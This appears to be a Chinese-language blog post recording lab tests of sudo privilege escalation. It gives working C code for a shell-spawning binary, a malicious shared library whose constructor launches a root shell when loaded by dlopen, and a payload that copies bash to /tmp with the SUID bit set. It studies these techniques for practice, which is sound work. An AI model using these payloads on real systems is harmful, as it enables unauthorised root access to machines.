前言
這篇文章主要是分享與探討關於 Sudo 權限提升的一些測試跟POC
案例都是建立在具有 sudo 的權限來執行一個 c 語言編譯過後的 binary 檔案
最終目的都是啟動一個具有 root 權限的 /bin/sh
shell
※注意※
文章探討的是 sudo 提權方法,並不是 SUID 提權
這邊不詳細解釋兩者差異
會進行這一串小小的測試,重點其實主要是在範例三跟範例四的緣故
某次練習一台靶機時,提權手法是透過 sudo 權限提升
透過主程式執行時會載入一個外部可控的 .so 檔案
所以可以透過自行編譯的 .so 檔案來進行提權
不過在網路上參考別人的 write-up 的時候
發現他們使用了範例四當中 chmod +s 的手法
但我覺得好像沒甚麼意義,應該直接執行 /bin/bash 就可以取得 root shell
也就是範例三的部分
的確後來證實也是可以成功的,順便就一併測試與紀錄相關思路跟Payload
範例說明
提醒一:
測試時,使用一般的使用者帳戶 kali
且該 kali 使用者對於執行檔具有 sudo 權限
提醒二:
測試時,在程式碼裡面執行的是 /bin/sh
主要是因為原本的shell就是bash,透過執行sh會讓畫面比較明顯有區別
實際上要調用哪一種shell都是可以的
提醒三:
測試時,在程式碼裡面執行的 curl 是作為偽裝一個原本程序功能測試而已
實際上沒甚麼意義,拿掉也沒關係
範例一:程式碼 – run_sh.c
主程式執行
run_sh.c
#include <unistd.h>
int main() {
char *args[] = {"/bin/sh", NULL};
execv("/bin/sh", args);
return 0;
}
Code language: PHP (php)
gcc run_sh.c -o run_sh
Code language: CSS (css)
結論,可正常執行,且使用sudo可以提權
範例二:程式碼 – libreshell.c
主程式載入 .so,且調用 function
main.c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int main() {
// 執行 curl 命令
system("curl -I <http://google.com>");
// 載入 libshell.so
void *handle = dlopen("./libshell.so", RTLD_LAZY);
if (!handle) {
fprintf(stderr, "Cannot load libshell.so: %s\\n", dlerror());
return 1;
}
// 獲取 launch_shell 函數的指標
void (*launch_shell)() = dlsym(handle, "launch_shell");
if (!launch_shell) {
fprintf(stderr, "Cannot find function launch_shell: %s\\n", dlerror());
dlclose(handle);
return 1;
}
// 執行 launch_shell 函數
launch_shell();
// 關閉動態鏈接庫
dlclose(handle);
return 0;
}
Code language: PHP (php)
libreshell.c
#include <unistd.h>
void launch_shell() {
char *args[] = {"/bin/sh", NULL};
execv("/bin/sh", args);
}
Code language: PHP (php)
compile
gcc main.c -o main -ldl
gcc -shared -fPIC -o libshell.so libshell.c
Code language: CSS (css)
結論,以上方式執行main
可正常執行,且使用 sudo可以提權
只是這一段有幾個問題,必須載入 .so / 宣告function / 執行function
main裡面要有宣告函數,不然會有錯誤
└─$ gcc main.c -o main -ldl
main.c: In function ‘main’:
main.c:17:5: warning: implicit declaration of function ‘launch_shell’ [-Wimplicit-function-declaration]
17 | launch_shell();
| ^~~~~~~~~~~~
/usr/bin/ld: /tmp/ccUGs7Tf.o: in function `main':
main.c:(.text+0x69): undefined reference to `launch_shell'
collect2: error: ld returned 1 exit status
另外,在main裡面是有執行so的function的
也就是這一段
// 執行 launch_shell 函數
launch_shell();
Code language: JavaScript (javascript)
如果以上沒有滿足,則無法觸發,取得shell(提權)
範例三:程式碼 – injectshell.c
mainx.c (跟剛剛的main做個名稱區別)
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int main() {
// 執行 curl 命令
system("curl -I <http://google.com>");
// 載入 injectshell.so
void *handle = dlopen("./injectshell.so", RTLD_LAZY);
if (!handle) {
fprintf(stderr, "Cannot load injectshell.so: %s\\n", dlerror());
return 1;
}
// 關閉動態鏈接庫
dlclose(handle);
return 0;
}
Code language: PHP (php)
injectshell.c
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("/bin/sh");
}
Code language: PHP (php)
compile
gcc mainx.c -o mainx -ldl
gcc -shared -fPIC -o injectshell.so injectshell.c
Code language: CSS (css)
結論,以上方式執行mainx
可正常執行,且使用sudo可以提權
這個與上面範例2的方法有幾點不同的地方
首先只需要load so檔就可以執行
因為我們宣告了
static void inject() __attribute__((constructor));
Code language: JavaScript (javascript)
所以不必在mainx裡面去宣告與執行function,我們的shell也會被執行
__attribute__((constructor))
屬性。這個屬性指示編譯器,當這個庫被加載到一個程序中時(例如通過 dlopen
調用或在程序啟動時自動加載),inject
函數應該在 main
函數執行之前自動執行。
範例四:程式碼 – injectsuidshell.c
mainy.c (就是mainx裡面的so檔名改成injectsuidshell)
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int main() {
// 執行 curl 命令
system("curl -I <http://google.com>");
// 載入 injectsuidshell.so
void *handle = dlopen("./injectsuidshell.so", RTLD_LAZY);
if (!handle) {
fprintf(stderr, "Cannot load injectsuidshell.so: %s\\n", dlerror());
return 1;
}
// 關閉動態鏈接庫
dlclose(handle);
return 0;
}
Code language: PHP (php)
injectsuidshell.c
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Code language: PHP (php)
compile.
gcc mainy.c -o mainy -ldl
gcc -shared -fPIC -o injectsuidshell.so injectsuidshell.c
Code language: CSS (css)
這個方法利用sudo執行mainy,當然也是可以正常提權
不過這一個範例要測試的其實是SUID的意義
也就是這一段
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
Code language: JavaScript (javascript)
因為我之前使用sudo或是SUID取得shell
都是採用 system("/bin/bash");
的方法而已
剛好有看到別人使用了這一串cp 然後 chmod +s 來去執行shell
想了一下,看得出來他想做甚麼
但不是真的很懂,他這樣做的用意
因為已經是sudo執行(root權限運行process),所以執行bash其實就會是root
不能理解為何要多做一步
如果程式運行的時候是自己本身的權限的話
通過這一步來cp 過去owner也是自己,chmod +s沒有意義,執行時也不會是root權限
但還是拿來測試了一下,確認看看自己的想法沒錯,不用 sudo 執行的話 SUID 沒意義
也或許他有其他考量,這我就不知道了
補充
關於參數:
-ldl
:這個參數指示編譯器鏈接到dl
庫(動態鏈接庫)。這個庫提供了動態載入其他共享庫(如.so
文件)的功能。如果你的代碼中使用了dlopen
、dlsym
之類的函數來動態載入和使用共享庫,這個參數是必需的。shared
:這個參數指示編譯器生成一個共享對象文件(Shared Object,即.so
文件),它可以被多個程序動態地鏈接和使用。這是創建動態鏈接庫(DLL 在 Linux 系統上的對應物)所必需的。fPIC
:這個參數意味著生成“位置獨立的代碼”(Position-Independent Code)。這是創建共享庫所需的,因為共享庫需要能夠被載入到任何記憶體位置並正常工作。
額外補充
因為Facebook上有人詢問,「請問都有sudo權限了,為何還需要提權?」
這個問題其實如果有如果已經有開始學習提權手法或是練習滲透的,可能比較不會有
如果現在還不能理解差異,其實也沒關係,反正未來就會知道了XD
這邊附上我在Facebook那邊的留言回覆
我盡量簡短但詳細回答
1.sudo是可以限制執行的指令與檔案的 (設定/etc/sudoers)
但不少情況是管理員或預設已經具有全部的sudo權限
所以你用sudo -s或sudo su就可以提權
但更安全的主機,或是滲透練習的靶機通常不會這麼輕鬆
或有限制sudo僅能執行特定的指令與檔案
2.主機上如果有限制sudo可以執行的檔案
正常情況使用方式就只能執行該指令
例如假設限制sudo執行只能more指令
一般可能認為就只能查看
但實際上我們可以透過more來取得root bash shell
延伸可參考GTFOBins
https://gtfobins.github.io/
3.所以從文章來說
假設主機限制了你只能用sudo執行
/kali/ctest/run_sh這個檔案
我們就可以建立run_sh這個檔案來提權
不過重點比較放在範例三跟四
因為如果可以sudo執行範例一run_sh(該檔可寫入)
可以達成的方法會更多,也有更簡單的
您好,我在ITHOME有看到您發布這篇
https://ithelp.ithome.com.tw/articles/10330839
想詢問一下WAZUH串LINEnotify的部分
在麻煩您有空回覆
LINE的部分的話我自己也沒試過